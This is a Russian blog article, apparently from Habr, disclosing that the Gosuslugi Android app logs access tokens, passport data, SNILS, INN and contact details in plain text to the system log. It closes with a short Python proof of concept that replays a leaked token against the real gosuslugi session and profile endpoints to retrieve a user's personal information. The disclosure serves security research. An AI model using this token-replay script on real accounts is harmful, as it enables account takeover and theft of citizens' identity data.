Госуслуги, как утекают персональные данные пользователей

52xmicralkno7snjdeo4tr5d4bs.png


Всем доброго времени суток. Все ведь помнят недавний «хайп» вокруг приложения BurgerKing, якобы оно сливает платёжные данные пользователей? Так вот, в этой статье я бы хотел рассказать о гораздо долее масштабном сливе, и не куда-то на 1 сервер, а практически всем! За подробностями прошу под кат

С чего всё началось?


А началось всё с баг-репорта по поводу краха мобильного приложения Тинькофф, Я записывал лог падения, чтобы отправить данные разработчикам, а после решил посмотреть логи и других приложений, имеющихся на моём телефоне. Под руку попалось приложение Госуслуги.
Подключаемся через adb к консоли телефона, предварительно включив опцию »Отладка по USB» и запускаем консольную команду logcat.

P.S. Данные указанные в запросах намеренно изменены, все совпадения с реальными людьми чистая случайность.


Далее запускаем приложение Госуслуги и наблюдаем следующую картину:

BaseRequestUri: https://www.gosuslugi.ru/api/cms/v1/disclaimers/mobile
Method: POST, RequestUri: '', Version: 1.1, Content: , Headers:
08-17 14:26:23.863 18730 18730 I mono-stdout: {
08-17 14:26:23.863 18730 18730 I mono-stdout: X-MobileSessionId: 9ae8705c-5140-4630-9087-c1f09843e1a6
08-17 14:26:23.863 18730 18730 I mono-stdout: mobVersion: android_3.3.2.135
08-17 14:26:23.863 18730 18730 I mono-stdout: Cache-Control: no-store, no-cache, max-age=0
08-17 14:26:23.863 18730 18730 I mono-stdout: Pragma: max-age=0,  no-cache,  no-store
08-17 14:26:23.863 18730 18730 I mono-stdout: Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml, application/zip
08-17 14:26:23.863 18730 18730 I mono-stdout: }
Content-Type: application/json; charset=utf-8 
08-17 14:26:23.863 18730 18730 I mono-stdout: Content-Length: 88
RequestBody: {"mnemonics":[{"mnemonic":"SMU_COMMON"}],"userAgent":"android","appVersion":"3.3.2.135"}


В логе полностью отобразился запрос, отправляемый на сервер. Ну, думаю, бывает, забыли убрать при отладке, с кем не бывает. Смотрим дальше и видим ответ:

Response: 6:29.389 18730 18730 I GuRequestLog: 
Uri=https://www.gosuslugi.ru/api/cms/v1/disclaimers/mobile
Content-Type=application/json0 I GuRequestLog: 
Status-Code=OK.389 18730 18730 I GuRequestLog: 
ResponseBody: []89 18730 18730 I GuRequestLog: 


Так, а вот это уже странно! Теперь попробуем ввести код доступа в приложение, и тут нас уже ждёт более интересный результат. Сначала видно как происходит отправка запроса на создание сессии:

BaseRequestUri: https://www.gosuslugi.ru/auth-provider/mobile/v2/createSession
Method: POST, RequestUri: '', Version: 1.1, Content: , Headers:
08-17 14:28:34.609 18730 18730 I GuRequestLog: {
08-17 14:28:34.609 18730 18730 I GuRequestLog: X-MobileSessionId: 9ae8705c-5140-4630-9087-c1f09843e1a6
08-17 14:28:34.609 18730 18730 I GuRequestLog: mobVersion: android_3.3.2.135
08-17 14:28:34.609 18730 18730 I GuRequestLog: Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml, application/zip
08-17 14:28:34.609 18730 18730 I GuRequestLog: }
Content-Type: application/json; charset=utf-8: 
08-17 14:28:34.609 18730 18730 I GuRequestLog: Content-Length: 854
08-17 14:28:34.609 18730 18730 I GuRequestLog: 
RequestBody: {"userId":"84**74555","accessToken":"eyJ2ZXIiOjEsInR5cCI6IkpXVCIsInNidCI6ImFjY2VzcyIsImFsZyI6IlJTMjU2In0.eyJuYmYiOjE1MzQ1MDUwMTcsInNjb3BlIjoiaHR0cDpcL1wvZXNpYS5nb3N1c2x1Z2kucnVcL3Vzcl9pbmY_b2lkPTAwMDAwMDAwMCZtb2RlPXciLCJpc3MiOiJodHRwOlwvXC9lc2lhLmdvc3VzbHVnaS5ydVwvIiwidXJuOmVzaWE6c2lkIjoiMDhlM2M2MDMtMmI1NS0wMDAwLTk0OTMtMDAwMDAwMDAwMDBlIiwidXJuOmVzaWE6c2JqX2lkIjowMDAyMDQwMDAsImV4cCI6MTUzMDUwMDYwMCwiaWF0IjoxNTMwNTA1MDAwLCJjbGllbnRfaWQiOiJQR1UifQ.klq1oftr1t1vaxpagbcdedohu11rm1oplipppwwzyylbcxmfd1jnwgokopdbfak-rxyt1bsdefghrj1lgn1pqrsruvwx1p1bcdeoqwe1k1fyopql1tj1uxzza1cdengqij_l11opzrx_uvwx_za1c11fg111kduqo1frxtu1vxyj-acdebohishh1lopqrstfcwy1zybc1wfnxm1_1m11pq-1s1w-x1za1cdbhvdo_klm-zperqtlovj11ybzref_11wk1mnozqfstwrwxy1auc1e1m1ijhlb-lph1sufvwlyzablcqt1hijkomoo1nrt1mmwxyzfjcde-ghijk","id":"da000000f0002400","name":"_umts","type":"Android"}


Сам запрос отправляется несколько раз, дабы получить более актуальные accessToken и как только токен получен:

Response: 8:35.080 18730 18730 I mono-stdout: 
Uri=https://www.gosuslugi.ru/auth-provider/mobile/v2/createSession
Content-Type=application/json0 I mono-stdout: 
Status-Code=OK.080 18730 18730 I mono-stdout: 
ResponseBody: {"sessionId":"e235d56d-63f3-4b48-a9f6-c1c2d86c25d9","accessToken":"eyJ2ZXIiOjEsInR5cCI6IkpXVCIsInNidCI6ImFjY2VzcyIsImFsZyI6IlJTMjU2In0.eyJuYmYiOjIyNDUsInNjb3BlIjoiaHR0cDpcL1wvZXNpYS5nb3N1c2x1Z2kucnVcL3Vzcl9pbmY_b2lkPTAwMDAwMDAwMCZtb2RlPXciLCJpc3MiOiJodHRwOlwvXC9lc2lhLmdvc3VzbHVnaS5ydVwvIiwidXJuOmVzaWE6c2lkIjoiMDhlM2M2MDMtMmI1NS0wMDAwLTk0OTMtMDAwMDAwMDAwMDBlIiwidXJuOmVzaWE6c2JqX2lkIjowMDAyMDQwMDAsImV4cCI6MTUzMDUwMDYwMCwiaWF0IjoxNTMwNTA1MDAwLCJjbGllbnRfaWQiOiJQR1UifQ.klq1oftr1t1vaxpagbcdedohu11rm1oplipppwwzyylbcxmfd1jnwgokopdbfak-rxyt1bsdefghrj1lgn1pqrsruvwx1p1bcdeoqwe1k1fyopql1tj1uxzza1cdengqij_l11opzrx_uvwx_za1c11fg111kduqo1frxtu1vxyj-acdebohishh1lopqrstfcwy1zybc1wfnxm1_1m11pq-1s1w-x1za1cdbhvdo_klm-zperqtlovj11ybzref_11wk1mnozqfstwrwxy1auc1e1m1ijhlb-lph1sufvwlyzablcqt1hijkomoo1nrt1mmwxyzfjcde-ghijk","error":{"errorCode":"0","errorMessage":"operation completed"}}


Происходит запрос данных о текущем пользователе, и снова всё сыпется в логи:

BaseRequestUri: https://esia.gosuslugi.ru/rs/prns/84**74555
Method: GET, RequestUri: '', Version: 1.1, Content: , Headers:
08-17 14:28:35.960 18730 18730 I GuRequestLog: {
08-17 14:28:35.960 18730 18730 I GuRequestLog: X-MobileSessionId: 9ae8705c-5140-4630-9087-c1f09843e1a6
08-17 14:28:35.960 18730 18730 I GuRequestLog: mobVersion: android_3.3.2.135
08-17 14:28:35.960 18730 18730 I GuRequestLog: Cache-Control: no-cache
08-17 14:28:35.960 18730 18730 I GuRequestLog: If-None-Match: *
08-17 14:28:35.960 18730 18730 I GuRequestLog: Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml, application/zip
08-17 14:28:35.960 18730 18730 I GuRequestLog: Authorization: Bearer eyJ2ZXIiOjEsInR5cCI6IkpXVCIsInNidCI6ImFjY2VzcyIsImFsZyI6IlJTMjU2In0.eyJuYmYiOjIyNDUsInNjb3BlIjoiaHR0cDpcL1wvZXNpYS5nb3N1c2x1Z2kucnVcL3Vzcl9pbmY_b2lkPTAwMDAwMDAwMCZtb2RlPXciLCJpc3MiOiJodHRwOlwvXC9lc2lhLmdvc3VzbHVnaS5ydVwvIiwidXJuOmVzaWE6c2lkIjoiMDhlM2M2MDMtMmI1NS0wMDAwLTk0OTMtMDAwMDAwMDAwMDBlIiwidXJuOmVzaWE6c2JqX2lkIjowMDAyMDQwMDAsImV4cCI6MTUzMDUwMDYwMCwiaWF0IjoxNTMwNTA1MDAwLCJjbGllbnRfaWQiOiJQR1UifQ.klq1oftr1t1vaxpagbcdedohu11rm1oplipppwwzyylbcxmfd1jnwgokopdbfak-rxyt1bsdefghrj1lgn1pqrsruvwx1p1bcdeoqwe1k1fyopql1tj1uxzza1cdengqij_l11opzrx_uvwx_za1c11fg111kduqo1frxtu1vxyj-acdebohishh1lopqrstfcwy1zybc1wfnxm1_1m11pq-1s1w-x1za1cdbhvdo_klm-zperqtlovj11ybzref_11wk1mnozqfstwrwxy1auc1e1m1ijhlb-lph1sufvwlyzablcqt1hijkomoo1nrt1mmwxyzfjcde-ghijk
08-17 14:28:35.960 18730 18730 I GuRequestLog: }


Если отмотать лог ещё немного ниже, можно найти там свои персональные данные, в открытом виде, так ещё и доступные абсолютно всем, кто может читать лог операционной системы.

Вот так выглядит ответ, содержащий основную информацию о пользователе:

Response: 8:36.940 18730 18730 I GuRequestLog: 
Uri=https://esia.gosuslugi.ru/rs/prns/84**74555
Content-Type=application/json0 I GuRequestLog: 
Status-Code=OK.940 18730 18730 I GuRequestLog: 
ResponseBody: {"stateFacts":["EntityRoot"],"firstName":"Павел","lastName":"Пупкин","middleName":"Васильевич","birthDate":"10.10.1910","birthPlace":"пос. госуслуги, в России","gender":"M","trusted":true,"citizenship":"RUS","snils":"000-000-000 00","inn":"999999999999","updatedOn":1220627522,"status":"REGISTERED","verifying":false,"rIdDoc":88888888,"regCtxCfmSte":"PCD","chosenCfmTypes":["RA"],"regType":"OPR","containsUpCfmCode":false,"eTag":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}


А тут у нас ответ на запрос контактных данных:

Uri=https://esia.gosuslugi.ru/rs/prns/84**74555/ctts
Content-Type=application/json0 I GuRequestLog: 
Status-Code=OK.776 18730 18730 I GuRequestLog: 
ResponseBody: {"stateFacts":["hasSize"],"size":2,"eTag":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","elements":[{"stateFacts":["Identifiable"],"id":88888888,"type":"EML","vrfStu":"VERIFIED","value":"pupkin_pavel@pochta.ru","eTag":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"},{"stateFacts":["Identifiable"],"id":88888888,"type":"MBT","vrfStu":"VERIFIED","value":"+7(955)5555555","eTag":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}]}


Далее приложение запрашивает с сервера паспортные данные, и благополучно печатает это в лог:

Response: 8:39.520 18730 18730 I GuRequestLog: 
Uri=https://esia.gosuslugi.ru/rs/prns/84**74555/docs
Content-Type=application/json0 I GuRequestLog: 
Status-Code=OK.520 18730 18730 I GuRequestLog: 
ResponseBody: {"stateFacts":["hasSize"],"size":1,"eTag":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","elements":[{"stateFacts":["Identifiable"],"id":0000000,"type":"RF_PASSPORT","vrfStu":"VERIFIED","series":"2000","number":"000000","issueDate":"00.00.2000","issueId":"000000","issuedBy":"ОТДЕЛЕНИЕМ УФМС РОССИИ","eTag":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}]}


Ну и так далее. Добавили водительское удостоверение, чтобы получать уведомления о штрафах? Пожалуйста, мы выведем в лог на всеобщее обозрение и эту информацию.

Но самое интересное, что любому приложению, которое у вас запущено на телефоне, достаточно считать только ваш токен, который отправляется при создании сессии, и всё, в любо момент можно повторить указанные ранее запросы и получить всю информацию о вас. И никаких уведомлений, о том, что в ваш личный кабинет был совершён вход, вы не увидите.

Ниже вы можете увидеть PoC, который при нужных параметрах создаёт сессию и возвращает некоторую информацию о пользователе.

#!/usr/bin/python3
import requests
import json
import sys


def createSession(userId, lastToken, rid):
    url = 'https://www.gosuslugi.ru/auth-provider/mobile/v2/createSession'
    header = {
        'X-MobileSessionId': '9ae8705c-5140-4630-9087-c1f09843e1a6',
        'mobVersion': 'android_3.3.2.135',
        'Accept': 'application/json, text/json, text/x-json, text/javascript, application/xml, text/xml, application/zip',
        'Content-Type': 'application/json; charset=utf-8'
    }
    data = {
        "userId": userId,
        "accessToken": lastToken,
        "id": rid,
        "name": "hts",
        "type": "Android"
    }
    resp = requests.post(url, data=json.dumps(data), headers=header)
    return resp.json()


def getUserInfo(userId, session):
    if session['error']['errorCode'] != '0':
        print(session['error']['errorMessage'])
        return
    url = 'https://esia.gosuslugi.ru/rs/prns/%s' % userId
    header = {
        'X-MobileSessionId': session['sessionId'],
        'mobVersion': 'android_3.3.2.135',
        'Cache-Control': 'no-cache',
        'If-None-Match': '*',
        'Accept': 'application/json, text/json, text/x-json, text/javascript, application/xml, text/xml, application/zip',
        'Authorization': 'Bearer %s' % session['accessToken']
    }
    resp = requests.get(url, headers=header)
    if resp.status_code == 200:
        print(json.dumps(resp.json(), indent=4))


def main():
    uid = sys.argv[1]
    lastToken = sys.argv[2]
    rid = sys.argv[3]
    session = createSession(uid, lastToken, rid)
    getUserInfo(uid, session)


if __name__ == '__main__':
    main()


Вместо заключения


Повторюсь, в само приложение никто никак не «вторгался» ни реверса, ни распаковки. Всё что нужно сделать, чтобы получить эту информацию — это запустить утилиту logcat. На момент написания статьи в Play Market не было более новой версии. Данный результат был получен на Android 6.0.1. У меня нет навыков создания Android приложений, но на сколько мне известно, получить лог, который доступен всем без исключения не составляет больших проблем. Возможно с доступом к логам могут быть проблемы на более новых версиях операционной системы, но как мне кажется это не повод выводить туда критическую информацию.

И напоследок! Уж сколько раз твердили миру, чтобы не путали Debug с Release.

© Habrahabr.ru